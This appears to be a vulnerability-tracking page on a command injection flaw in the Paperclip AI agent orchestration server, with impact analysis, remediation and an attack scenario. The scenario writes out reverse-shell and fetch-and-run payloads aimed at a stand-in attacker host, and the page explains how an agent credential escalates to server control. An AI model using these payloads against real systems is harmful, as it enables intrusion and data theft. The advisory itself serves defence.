Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Agent API credentials
-
DeliveryAuthenticate to /agents/:id endpoint
-
ExploitInject malicious shell command in provisionCommand
-
ExecutionTrigger workspace provisioning
-
PersistExecute arbitrary code on server host
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires valid Agent API key authentication (PR:L). Exploitation is possible against default configurations of Paperclip server when the /agents/:id API endpoint is network-accessible (AV:N). The vulnerability is triggered during workspace provisioning operations, which occur when agents request new execution environments. No special server configuration, non-default features, or user interaction (UI:N) is required beyond the standard agent workspace lifecycle. Attack complexity is low (AC:L) as the exploitation technique involves standard HTTP API calls with malicious configuration payloads. The primary limiting factor is credential acquisition-attackers must first obtain a valid Agent API key through theft, social engineering, or compromise of systems where agent credentials are stored. Organizations not using the workspace provisioning feature or those with agent API access restricted to internal networks only face reduced exposure. |
| Impact | Real-world risk is HIGH despite the PR:L (low-privilege authentication) requirement. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates network-accessible exploitation with low complexity once agent credentials are obtained, leading to complete compromise of confidentiality, integrity, and availability on the server host. The attack requires only Agent API key authentication-credentials that may be distributed across multiple agents in a production deployment, expanding the attack surface. No EPSS score provided, but the combination of network accessibility, low attack complexity, and high impact warrants prioritization. No CISA KEV listing or public exploit code identified, suggesting this is not yet widely exploited, but the vulnerability is publicly disclosed via GitHub Security Advisory GHSA-265w-rf2w-cjh4, which typically accelerates weaponization timelines. The severity is amplified in multi-tenant or production AI orchestration environments where agent credentials may be shared, stolen, or compromised through social engineering. Organizations running Paperclip in production should treat this as CRITICAL for immediate patching, as RCE on the orchestration server grants full control over all managed AI agents and their data. |
| Exploit ScenarioDerived | An attacker obtains valid Agent API credentials through phishing, stolen environment variables, or compromised CI/CD pipelines. The attacker crafts a malicious HTTP PUT request to the /agents/:id endpoint, setting adapterConfig.workspaceStrategy.provisionCommand to a payload like "curl attacker.com/shell.sh | bash" or "nc -e /bin/bash attacker.com 4444". When the Paperclip server next provisions a workspace for that agent, it executes the injected command with the server process privileges, granting the attacker a reverse shell on the host system. From there, the attacker can access sensitive data, pivot to other systems, or install persistence mechanisms. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
Command injection in Paperclip @paperclipai/server (versions <2026.416.0) allows authenticated agents to execute arbitrary OS commands on the server host. Attackers with Agent API credentials can escalate from agent runtime to full server host control by injecting malicious shell commands through the adapterConfig.workspaceStrategy.provisionCommand field during workspace provisioning. CVSS 8.8 (high) with network-accessible attack vector and low complexity. Vendor patch available in version 2026.416.0. No public exploit or CISA KEV listing identified at time of analysis, but the vulnerability breaks critical trust boundaries in multi-agent AI orchestration systems.
RemediationAI
Upgrade @paperclipai/server to version 2026.416.0 or later immediately using npm (npm install @paperclipai/server@2026.416.0) or yarn (yarn upgrade @paperclipai/server@2026.416.0). Verify the installation by checking package.json shows "@paperclipai/server": "2026.416.0" or higher. After upgrading, rotate all Agent API keys as a precautionary measure to invalidate potentially compromised credentials. If immediate patching is not feasible, implement network segmentation to restrict which systems can reach the /agents/:id endpoint, enforce strict firewall rules limiting access to trusted IP ranges only, and audit all agent configurations for suspicious provisionCommand values (look for shell metacharacters, curl/wget commands, or unexpected system utilities). Monitor server process execution logs for unexpected child processes spawned during workspace provisioning. Note that restricting API access reduces functionality for legitimate remote agents and should be considered a temporary control only. Detailed remediation guidance is available in the GitHub Security Advisory at https://github.com/paperclipai/paperclip/security/advisories/GHSA-265w-rf2w-cjh4.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Paperclip, a Node.js-based AI agent orchestration platform with React UI. The root cause is CWE-78 (OS Command Injection) stemming from insufficient input validation in the agent configuration update mechanism. The server exposes a REST API endpoint (/agents/:id) that permits agents to modify their own adapterConfig settings, including the adapterConfig.workspaceStrategy.provisionCommand field. This configuration value is later passed to a shell execution context during workspace provisioning without proper sanitization or validation. The vulnerability exploits the architectural design where agent runtime configurations are stored and later executed by the privileged server process, creating an unsafe deserialization/execution pattern. The trust boundary violation occurs because agents-which should operate in restricted runtime contexts-gain the ability to influence server-side command execution through configuration manipulation. This represents a classic privilege escalation from a lower-privileged agent context to the server host execution context.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
3DescriptionCVE.org
Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Versions of @paperclipai/server prior to 2026.416.0 contain a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime. As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host. @paperclipai/server version 2026.416.0 fixes the issue.
Blast Radius
ecosystem impact- 1 npm packages depend on @paperclipai/server (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 2026.416.0.
Executive ViewAI
Paperclip @paperclipai/server versions prior to 2026.416.0 contain a command injection vulnerability that allows authenticated agents to execute arbitrary OS commands and gain full control of the server host. Organizations deploying this AI orchestration platform face immediate risk of complete infrastructure compromise if agent API credentials are obtained or misused by internal actors. This vulnerability bypasses the agent sandbox boundary, turning compromised agent credentials into server root access.
Apply vendor patch to version 2026.416.0 or later. Interim mitigations pending patching: (1) Restrict Agent API credential distribution and implement role-based access controls limiting which agents can invoke workspace provisioning; (2) disable or remove adapterConfig.workspaceStrategy.provisionCommand functionality if unused; (3) implement Web Application Firewall rules to detect shell metacharacters (|, ;, &, $, backticks) in API payloads to provisionCommand fields; (4) run Paperclip services in containers with restrictive seccomp/AppArmor profiles to limit OS command execution scope.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-25162
GHSA-265w-rf2w-cjh4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB